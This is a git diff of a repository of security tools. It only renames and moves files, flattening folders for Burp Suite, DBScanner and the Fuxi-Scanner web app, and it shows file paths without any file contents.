diff --git a/burp/Extender b/Burpsuite/Extender similarity index 100% rename from burp/Extender rename to Burpsuite/Extender diff --git a/burp/下载链接.txt b/Burpsuite/下载链接.txt similarity index 100% rename from burp/下载链接.txt rename to Burpsuite/下载链接.txt diff --git a/DBScanner/DBScanner-master/.gitignore b/DBScanner/.gitignore similarity index 100% rename from DBScanner/DBScanner-master/.gitignore rename to DBScanner/.gitignore diff --git a/DBScanner/DBScanner-master/LICENSE b/DBScanner/LICENSE similarity index 100% rename from DBScanner/DBScanner-master/LICENSE rename to DBScanner/LICENSE diff --git a/DBScanner/DBScanner-master/README.md b/DBScanner/README.md similarity index 100% rename from DBScanner/DBScanner-master/README.md rename to DBScanner/README.md diff --git a/DBScanner/DBScanner-master/about oracle.txt b/DBScanner/about oracle.txt similarity index 100% rename from DBScanner/DBScanner-master/about oracle.txt rename to DBScanner/about oracle.txt diff --git a/DBScanner/DBScanner-master/dbscan.py b/DBScanner/dbscan.py similarity index 100% rename from DBScanner/DBScanner-master/dbscan.py rename to DBScanner/dbscan.py diff --git a/DBScanner/DBScanner-master/scan.png b/DBScanner/scan.png similarity index 100% rename from DBScanner/DBScanner-master/scan.png rename to DBScanner/scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/.gitattributes b/Fuxi-Scanner/.gitattributes similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/.gitattributes rename to Fuxi-Scanner/.gitattributes diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/.gitignore b/Fuxi-Scanner/.gitignore similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/.gitignore rename to Fuxi-Scanner/.gitignore diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/LICENSE b/Fuxi-Scanner/LICENSE similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/LICENSE rename to Fuxi-Scanner/LICENSE diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/README.md b/Fuxi-Scanner/README.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/README.md rename to Fuxi-Scanner/README.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.en.md b/Fuxi-Scanner/doc/INSTALL.en.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.en.md rename to Fuxi-Scanner/doc/INSTALL.en.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.zh.md b/Fuxi-Scanner/doc/INSTALL.zh.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/INSTALL.zh.md rename to Fuxi-Scanner/doc/INSTALL.zh.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/README.zh.md b/Fuxi-Scanner/doc/README.zh.md similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/README.zh.md rename to Fuxi-Scanner/doc/README.zh.md diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_acunetix_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_acunetix_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_acunetix_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_acunetix_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_new.png b/Fuxi-Scanner/doc/images/fuxi_asset_new.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_new.png rename to Fuxi-Scanner/doc/images/fuxi_asset_new.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_service_search.png b/Fuxi-Scanner/doc/images/fuxi_asset_service_search.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_asset_service_search.png rename to Fuxi-Scanner/doc/images/fuxi_asset_service_search.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_auth_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_auth_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_auth_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_auth_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_dashboard.png b/Fuxi-Scanner/doc/images/fuxi_dashboard.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_dashboard.png rename to Fuxi-Scanner/doc/images/fuxi_dashboard.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_list.png b/Fuxi-Scanner/doc/images/fuxi_domain_list.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_list.png rename to Fuxi-Scanner/doc/images/fuxi_domain_list.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_domain_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_domain_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_domain_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_new_scan.png b/Fuxi-Scanner/doc/images/fuxi_poc_new_scan.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_new_scan.png rename to Fuxi-Scanner/doc/images/fuxi_poc_new_scan.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_plugin_management.png b/Fuxi-Scanner/doc/images/fuxi_poc_plugin_management.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_poc_plugin_management.png rename to Fuxi-Scanner/doc/images/fuxi_poc_plugin_management.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_port_scanner.png b/Fuxi-Scanner/doc/images/fuxi_port_scanner.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_port_scanner.png rename to Fuxi-Scanner/doc/images/fuxi_port_scanner.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_settings.png b/Fuxi-Scanner/doc/images/fuxi_settings.png similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/doc/images/fuxi_settings.png rename to Fuxi-Scanner/doc/images/fuxi_settings.png diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/__init__.py b/Fuxi-Scanner/fuxi/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/__init__.py rename to Fuxi-Scanner/fuxi/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/app.py b/Fuxi-Scanner/fuxi/app.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/app.py rename to Fuxi-Scanner/fuxi/app.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/dropzone.css b/Fuxi-Scanner/fuxi/static/css/dropzone.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/dropzone.css rename to Fuxi-Scanner/fuxi/static/css/dropzone.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-duallistbox.css b/Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-duallistbox.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-duallistbox.css rename to Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-duallistbox.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-multiselect.css b/Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-multiselect.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/duallistbox/bootstrap-multiselect.css rename to Fuxi-Scanner/fuxi/static/css/duallistbox/bootstrap-multiselect.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/css/font-awesome.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/FontAwesome.otf diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.eot diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.ttf diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 b/Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 rename to Fuxi-Scanner/fuxi/static/css/font-awesome-4.7.0/fonts/fontawesome-webfont.woff2 diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/main.css b/Fuxi-Scanner/fuxi/static/css/main.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/css/main.css rename to Fuxi-Scanner/fuxi/static/css/main.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/download/test b/Fuxi-Scanner/fuxi/static/download/test similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/download/test rename to Fuxi-Scanner/fuxi/static/download/test diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap-multiselect.js b/Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap-multiselect.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap-multiselect.js rename to Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap-multiselect.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap.min.js b/Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/bootstrap/bootstrap.min.js rename to Fuxi-Scanner/fuxi/static/js/bootstrap/bootstrap.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery-3.2.1.min.js b/Fuxi-Scanner/fuxi/static/js/jquery/jquery-3.2.1.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery-3.2.1.min.js rename to Fuxi-Scanner/fuxi/static/js/jquery/jquery-3.2.1.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js b/Fuxi-Scanner/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js rename to Fuxi-Scanner/fuxi/static/js/jquery/jquery.bootstrap-duallistbox.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/main.js b/Fuxi-Scanner/fuxi/static/js/main.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/main.js rename to Fuxi-Scanner/fuxi/static/js/main.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/Chart.js b/Fuxi-Scanner/fuxi/static/js/plugins/Chart.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/Chart.js rename to Fuxi-Scanner/fuxi/static/js/plugins/Chart.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/FeedEk.js b/Fuxi-Scanner/fuxi/static/js/plugins/FeedEk.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/FeedEk.js rename to Fuxi-Scanner/fuxi/static/js/plugins/FeedEk.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/bootstrap-datetimepicker.js b/Fuxi-Scanner/fuxi/static/js/plugins/bootstrap-datetimepicker.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/bootstrap-datetimepicker.js rename to Fuxi-Scanner/fuxi/static/js/plugins/bootstrap-datetimepicker.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dataTables.bootstrap.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/dataTables.bootstrap.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dataTables.bootstrap.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/dataTables.bootstrap.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dropzone.js b/Fuxi-Scanner/fuxi/static/js/plugins/dropzone.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/dropzone.js rename to Fuxi-Scanner/fuxi/static/js/plugins/dropzone.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/jquery.dataTables.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/jquery.dataTables.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/jquery.dataTables.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/jquery.dataTables.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/laydate.js b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/laydate.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/laydate.js rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/laydate.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.eot diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.svg diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.ttf diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/font/iconfont.woff diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/laydate.css b/Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/laydate.css similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/laydate/theme/default/laydate.css rename to Fuxi-Scanner/fuxi/static/js/plugins/laydate/theme/default/laydate.css diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/pace.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/pace.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/pace.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/pace.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/select2.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/select2.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/select2.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/select2.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/sweetalert/sweetalert.min.js b/Fuxi-Scanner/fuxi/static/js/plugins/sweetalert/sweetalert.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/plugins/sweetalert/sweetalert.min.js rename to Fuxi-Scanner/fuxi/static/js/plugins/sweetalert/sweetalert.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/popper.min.js b/Fuxi-Scanner/fuxi/static/js/popper.min.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/popper.min.js rename to Fuxi-Scanner/fuxi/static/js/popper.min.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/acunetix-scanner.js b/Fuxi-Scanner/fuxi/static/js/server/acunetix-scanner.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/acunetix-scanner.js rename to Fuxi-Scanner/fuxi/static/js/server/acunetix-scanner.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-management.js b/Fuxi-Scanner/fuxi/static/js/server/asset-management.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-management.js rename to Fuxi-Scanner/fuxi/static/js/server/asset-management.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-services-list.js b/Fuxi-Scanner/fuxi/static/js/server/asset-services-list.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/asset-services-list.js rename to Fuxi-Scanner/fuxi/static/js/server/asset-services-list.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/auth-tester-tasks.js b/Fuxi-Scanner/fuxi/static/js/server/auth-tester-tasks.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/auth-tester-tasks.js rename to Fuxi-Scanner/fuxi/static/js/server/auth-tester-tasks.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/checkbox.js b/Fuxi-Scanner/fuxi/static/js/server/checkbox.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/checkbox.js rename to Fuxi-Scanner/fuxi/static/js/server/checkbox.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/dashboard.js b/Fuxi-Scanner/fuxi/static/js/server/dashboard.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/dashboard.js rename to Fuxi-Scanner/fuxi/static/js/server/dashboard.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-asset.js b/Fuxi-Scanner/fuxi/static/js/server/new-asset.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-asset.js rename to Fuxi-Scanner/fuxi/static/js/server/new-asset.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-auth-tester.js b/Fuxi-Scanner/fuxi/static/js/server/new-auth-tester.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-auth-tester.js rename to Fuxi-Scanner/fuxi/static/js/server/new-auth-tester.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-scan.js b/Fuxi-Scanner/fuxi/static/js/server/new-scan.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/new-scan.js rename to Fuxi-Scanner/fuxi/static/js/server/new-scan.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/plugin-management.js b/Fuxi-Scanner/fuxi/static/js/server/plugin-management.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/plugin-management.js rename to Fuxi-Scanner/fuxi/static/js/server/plugin-management.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/port-scanner.js b/Fuxi-Scanner/fuxi/static/js/server/port-scanner.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/port-scanner.js rename to Fuxi-Scanner/fuxi/static/js/server/port-scanner.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/search.js b/Fuxi-Scanner/fuxi/static/js/server/search.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/search.js rename to Fuxi-Scanner/fuxi/static/js/server/search.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/settings.js b/Fuxi-Scanner/fuxi/static/js/server/settings.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/settings.js rename to Fuxi-Scanner/fuxi/static/js/server/settings.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-brute.js b/Fuxi-Scanner/fuxi/static/js/server/subdomain-brute.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-brute.js rename to Fuxi-Scanner/fuxi/static/js/server/subdomain-brute.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-list.js b/Fuxi-Scanner/fuxi/static/js/server/subdomain-list.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/subdomain-list.js rename to Fuxi-Scanner/fuxi/static/js/server/subdomain-list.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/task-management.js b/Fuxi-Scanner/fuxi/static/js/server/task-management.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/task-management.js rename to Fuxi-Scanner/fuxi/static/js/server/task-management.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/update.js b/Fuxi-Scanner/fuxi/static/js/server/update.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/update.js rename to Fuxi-Scanner/fuxi/static/js/server/update.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/vulnerability.js b/Fuxi-Scanner/fuxi/static/js/server/vulnerability.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/vulnerability.js rename to Fuxi-Scanner/fuxi/static/js/server/vulnerability.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/week-passwd-list.js b/Fuxi-Scanner/fuxi/static/js/server/week-passwd-list.js similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/static/js/server/week-passwd-list.js rename to Fuxi-Scanner/fuxi/static/js/server/week-passwd-list.js diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/404.html b/Fuxi-Scanner/fuxi/templates/404.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/404.html rename to Fuxi-Scanner/fuxi/templates/404.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/500.html b/Fuxi-Scanner/fuxi/templates/500.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/500.html rename to Fuxi-Scanner/fuxi/templates/500.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-scanner.html b/Fuxi-Scanner/fuxi/templates/acunetix-scanner.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-scanner.html rename to Fuxi-Scanner/fuxi/templates/acunetix-scanner.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-tasks.html b/Fuxi-Scanner/fuxi/templates/acunetix-tasks.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/acunetix-tasks.html rename to Fuxi-Scanner/fuxi/templates/acunetix-tasks.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/advanced-option.html b/Fuxi-Scanner/fuxi/templates/advanced-option.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/advanced-option.html rename to Fuxi-Scanner/fuxi/templates/advanced-option.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-management.html b/Fuxi-Scanner/fuxi/templates/asset-management.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-management.html rename to Fuxi-Scanner/fuxi/templates/asset-management.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-services.html b/Fuxi-Scanner/fuxi/templates/asset-services.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/asset-services.html rename to Fuxi-Scanner/fuxi/templates/asset-services.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/auth-tester-tasks.html b/Fuxi-Scanner/fuxi/templates/auth-tester-tasks.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/auth-tester-tasks.html rename to Fuxi-Scanner/fuxi/templates/auth-tester-tasks.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/base.html b/Fuxi-Scanner/fuxi/templates/base.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/base.html rename to Fuxi-Scanner/fuxi/templates/base.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/dashboard.html b/Fuxi-Scanner/fuxi/templates/dashboard.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/dashboard.html rename to Fuxi-Scanner/fuxi/templates/dashboard.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/index.html b/Fuxi-Scanner/fuxi/templates/index.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/index.html rename to Fuxi-Scanner/fuxi/templates/index.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/login.html b/Fuxi-Scanner/fuxi/templates/login.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/login.html rename to Fuxi-Scanner/fuxi/templates/login.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-asset.html b/Fuxi-Scanner/fuxi/templates/new-asset.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-asset.html rename to Fuxi-Scanner/fuxi/templates/new-asset.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-auth-tester.html b/Fuxi-Scanner/fuxi/templates/new-auth-tester.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-auth-tester.html rename to Fuxi-Scanner/fuxi/templates/new-auth-tester.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-scan.html b/Fuxi-Scanner/fuxi/templates/new-scan.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/new-scan.html rename to Fuxi-Scanner/fuxi/templates/new-scan.html diff --git 